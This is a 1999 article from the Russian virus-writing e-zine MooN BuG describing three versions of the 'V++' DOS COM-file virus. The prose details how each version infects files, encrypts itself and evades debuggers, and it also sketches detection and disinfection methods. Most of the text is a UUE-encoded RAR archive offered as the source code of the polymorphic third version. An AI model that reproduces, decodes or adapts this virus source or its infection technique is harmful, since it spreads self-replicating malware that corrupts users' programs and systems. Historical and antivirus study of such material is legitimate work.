╔════════╤════════════════════════════════════════════════════╤══════════╤═══╗
║Okt 1999│NF представляет электронный журнал MooN BuG issue 11│ RedArc │00A║
╟────────┴────────────────────────────────────────────────────┴──────────┴───╢
║ Вирусы семейства V++ ║
╚════════════════════════════════════════════════════════════════════════════╝
Вирус V++ // Первая версия
--------------------------
Нерезидентный, нешифрованный и неопасный вирус. Производит поиск и
инфицирование файлов с расширением COM в текущем каталоге. Формат файлов не
проверяется. В качестве потенциальных жертв выступают файлы с размером не
менее 1024 байта (именно столько вирус считывает из файла для поиска места для
внедрения команды перехода на свое тело) и не более 50000 байт (можно конечно
и 65535 - 1024, но мне захотелось именно такое вот число). При нахождении
подходящего по размерам файла вирус открывает его на чтение/запись (проверка
на ошибки доступа и на атрибут ReadOnly не производится) и считывает три
последних байта из файла. Это нужно вирусу для того, чтобы не инфицировать
один и тот же файл более одного раза (в конце тела вируса присутствует
сигнатура V++, которая и является идентификатором зараженности программ). Если
вирус не нашел в файле свою метку, то производится инфицирование открытого
файла. Для этого вирус считывает с начала файла 1024 байта в буффер, который
располагается за концом тела вируса и динамических данных. После этого в
буфере производится поиск слова 0CD10h (int 10h) и если такого слова нет, то
производится поиск слова 0CD21h (int 21h). Если ни одного искомого слова не
найдено вирус закрывает файл и переходит к поиску следующего подходящего
файла. Если найдено хотя бы одно подходящее слово, то вирус высчитывает
смещение этого слова от начала файла, калькулирует команду 0e8h xxxxh (call
xxxxh), вызывающую подпрограмму, которая должна находиться сразу за концом
тела инфицируемой программы. Эта команда записывается поверх найденного слова
в программе и является командой перехода на тело вируса. Затем вирус сохраняет
в своем теле те байты программы, которые были затерты командой перехода в
файле. Эти байты вирус берет из своего буфера, куда был считан первый килобайт
найденной программы. После этого вирус дописывает свое тело в конец
инфицируемого файла, закрывает файл и переходит к поиску следующего
подходящего файла. Таким образом, в вирусе не хранится смещение внедренной
команды перехода на тело вируса. Это смещение вирус получает через стэк
(команда call xxxx сохраняет в стэке адресс возврата, посему адрес начала
самой команды равен смещению возврата минус три байта самой команды перехода).
В вирусе содержатся некоторые неточности и ошибки. Вирус портит регистр
BP и регистр флагов. Это может отразиться на работоспособности инфицированных
программ. Тело вируса может быть затерто инфицированной программой в памяти,
например, если программа использует это место под стэк до того, как передаст
управление вирусу. Вирус не сохраняет дату, время и атрибуты инфицированных
файлов. Как уже отмечалось выше, вирус не обрабатывает прерывание 24h и
возможные ошибки при работе с файлами. Команда перехода на тело вируса может
попасть на то место программы, которое никогда не получает (или очень редко
при особых условиях) управления. Поэтому вирус может либо вообще никогда не
активизироваться из инфцированной программы, либо активизироваться очень
редко. Однако велика вероятность, что эта команда попадет на данные вируса.
При этом вирус не получит управления, а инфцированная программа будет
работать неверно или вообще привести к краху системы.
Стоит особенно отметить, что в вирусе нет специально предусмотренной
деструкции и инфицированные файлы могут быть успешно вылечены в 100% случаев.
Возможные варианты поиска и удаления вируса:
1. Тело вируса не шифрованное - значит может служить в качестве сигнатуры. В
найденном инфицированном файле считываем сохраненные байты программы, ищем
команду перехода на тело вируса хотя бы тем же способом, что и вирус ищет ее
место), восстанавливаем байты программы, а тело вируса отрезаем от файла
(сделать это не сложно, так как вирус не меняет свою длину и
спозиционироваться на первые байты его тела не представляет никаких
трудностей).
2. Трассировать программы и проверять каждый раз перед трассировкой наличие
сигнатуры (это вообще не самый умный способ вируса). В качестве сигнатуры
нужно взять самые первые байты тела. Найдя сигнатуру берем из стэка смещение
команды перехода. Дальше все, как описано в пункте 1.
3. Эмулировать код программы. Все так же, как и в пункте 2. При этом может
получиться, что в инфицированных программах код вируса обнаружен не будет.
4. Если возникли трудности с поиском команды перехода, то можно принять
следующие полумеры:
a) в начало тела вируса воткнуть команду перехода на процедуру восстановления
начальных байт. Таким образом, тело вируса останется, но дальнейшего
распространения не произойдет. Работоспособность программы будет восстановлена
только в том случае, если вирус не испортил данные или программа не затирает
код вируса прежде, чем передает ему управление.
б) процедуру восстановления начальных байт перенести в начало тела вируса
так, чтобы она получала управление сразу при переходе на вирус, а остальное
тело вируса можно удалить. Могут возникнуть те же проблемы, что и в случае a)
в) то же, что и случай б), но процедура восстановления начальных байт
разрабатывается автором антивируса и отличается от той, которую использует
вирус. Проблемы те же, что и в предыдущих двух случаях.
Таким образом, наиболее приемлимым оказывается пункт 1.
Дизассемблированный CrkV текст вируса приведен в журнале DVL.
Вирус V++ // Вторая версия
---------------------------
От предыдущего вируса отличается тем, что шифрует свое тело линейным
алгоритмом со случайным ключем. Правда, хотя вирус использует алгоритм
шифрации по словно, он все равно шифрует файл побайтно. В самом вирусе
использован старенький прием против дизассемблеров описанный еще в первом
выпуске журнала MooNBuG. Вирус обрабатывает ошибки с некоторыми файловыми
операциями, но имеет ряд ошибок. Впрочем, эти ошибки не фатальны и на работе
большинства инфицированных программ вряд ли скажутся. Остальные недостатки
унаследованы от предыдущего вируса потому, что эти недостатки характерны
вообще для самого алгоритма внедрения команды перехода. Да, еще вирус меняет
местами адреса прерываний Int 21h и Int 20h. Это такой сопливый прием против
тупых отладчиков и дизассемблеров.
Для вирусологов этот вирус не представляет никакой трудности в
детектировании и лечении.
Лечится так же, как и предыдущий. Единственное, это нужно расшифровать
три байта оригинальной программы, находящихся по постоянному смещению. Сделать
это не трудно.
Дизассемблированный CrkV текст вируса приведен в журнале DVL.
Вирус V++ // Третья версия
--------------------------
Отличается от предыдущего тем, что может внедряться как в середину
первого килобайта жертвы, так и в начало файлов, не имеющих в начале своего
кода Int 10h или int 21h. Алгоритм шифрации заменен простеньким полиморфным
алгоритмом с защитой от некоторых отладчиков. Полиморфный декриптор является к
тому же и пермутирующим. Передача управления происходит на блок декриптора,
который располагается в самом декрипторе случайным образом. Вирус содержит
строку Jedem das Seinem.
Исходный код вируса прилагается.
=== Cut ===
section 1 of 1 of file vpp3.rar -={ UUE 1.06, ARA (C) 1995 }=-
begin 644 vpp3.rar 9-27-1999 13:34:42
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
MW8)=,XD^[2_!V5*(7`K>U!92E5W;%1RN]P]E&!PM'-@2=R)/O6(%[email protected]>%N:
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
M-)<\PQ,#,`GRKNV5Q(\^][email protected]=5&V>ET,T"(/;+4[VLJ=)NQU4[9]4;
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
